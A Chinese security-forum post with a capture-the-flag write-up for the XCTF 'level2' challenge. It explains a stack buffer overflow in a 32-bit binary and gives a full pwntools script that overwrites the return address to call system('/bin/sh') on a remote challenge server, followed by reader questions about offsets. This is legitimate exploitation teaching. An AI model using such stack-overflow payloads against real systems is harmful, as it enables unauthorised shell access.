首页
论坛
专栏
课程

[原创]XCTF攻防世界 level2

2019-5-14 12:09 8880

[原创]XCTF攻防世界 level2

2019-5-14 12:09
8880

Level2

这是XMAN上之前比赛的一道题,还是挺简单的,ROP的基本入门使用。

检查文件

  • 可以获取的信息有:32位程序;在输入很长的字符串后程序仍然正常退出;文件没有开启canary,但是开启了NX。

IDA查看

  • 首先可以看到的是,程序的代码很少,main函数中只调用了一个vulnerable_function()和一个system()。F5看一下:

    确实没有发现其他函数,进入vulnerable_function()函数:

  • 在这里我们看到了一个buf[],然后没有其他内容了,没有对输入做任何限制,这也是为什么我们一开始输入大量的无效字符程序依然没有任何问题。

  • 查看一下程序的strings,可能会有其他有用的内容:

    我们看到了system和/bin/sh,这是解出题目的关键。
    我们可以构造一个system("/bin/sh")的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system("bin/sh"),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system("bin/sh")来获取shell,所以函数执行完后的返回地址可以任意。)

    EXP

    #! /usr/bin/env python
    # -*- coding:utf-8 -*-
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('./level2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()

    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

    io = remote('111.198.29.45',45800)
    io.sendlineafter("Input:\n",payload)
    io.interactive()
    io.close()

运行结果

  • 根据该题目的提示,使用ROP编程,其实可以大体猜到题目的解题思路,这道题目也是ROP利用的入门教学,可以实际理解一下ROP,为后续的深入开个门。


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-5-15 14:29 被有毒编辑 ,原因:
上传的附件:
最新回复 (18)
xuenixiang 1 2019-5-15 07:56
2
0
能上传一下题目吗?
有毒 2 2019-5-15 14:29
3
0
xuenixiang 能上传一下题目吗?
已经上传题目
xuenixiang 1 2019-5-15 14:58
4
0
有毒 已经上传题目
谢谢~
罗小墨 2019-5-17 00:18
5
0
这也不算rop吧,算个ret2text
Hotspur 2019-6-5 20:33
6
0
大佬您好,请问payload中的0x88+0x4是怎样获得的
潇洒蛋 2019-6-6 11:19
7
0
Hotspur 大佬您好,请问payload中的0x88+0x4是怎样获得的[em_9]
查看栈空间
htg 2 2019-6-25 07:18
8
2
函数里面的char的位置是ebp-0x88
理想三旬 2019-7-22 15:40
9
0
+0x4 是因为什么呢?是因为32位程序吗?
Vinadiak 2019-8-7 08:56
10
1
栈空间是0x88+ebp+ret(返回地址),ROP要覆盖的是返回地址,所以+0x4是因为要覆盖ebp,ebp是没用的
ZhangZreo 2019-9-28 08:32
11
0
大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)中p32(0xdeadbeef)的作用是什么,是覆盖栈中的什么位置,为什么去掉 了它就不成功。
wx_辰先森 2019-10-8 10:04
12
0
请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
有毒 2 2019-10-8 10:21
13
0
ZhangZreo 大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)中p32(0xde ...
是为了覆盖ebp
有毒 2 2019-10-8 10:22
14
0
wx_辰先森 请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
是的
wx_辰先森 2019-10-9 15:59
15
0
谢谢
ZhangZreo 2019-10-13 15:11
16
0
谢谢大佬
ZhangZreo 2019-10-13 15:30
17
0
大佬,在跳到system函数的时候,是不是不会在进行
push ebp
mov ebp,esp 的操作,这样构造的栈针才会起作用
ZhangZreo 2019-10-13 19:01
18
0
大佬,还是有点不懂,大佬说是覆盖ebp,那system函数的返回地址不用覆盖吗?栈针的结构不是
参数
返回地址
ebp
局部变量
zoleooo 2019-10-15 08:47
19
0
@ZhangZreo 那个sysaddr就是ret address,返回后覆盖为system的地址
你可以自己操练一下,把remote()改为process()
游客
登录 | 注册 方可回帖
返回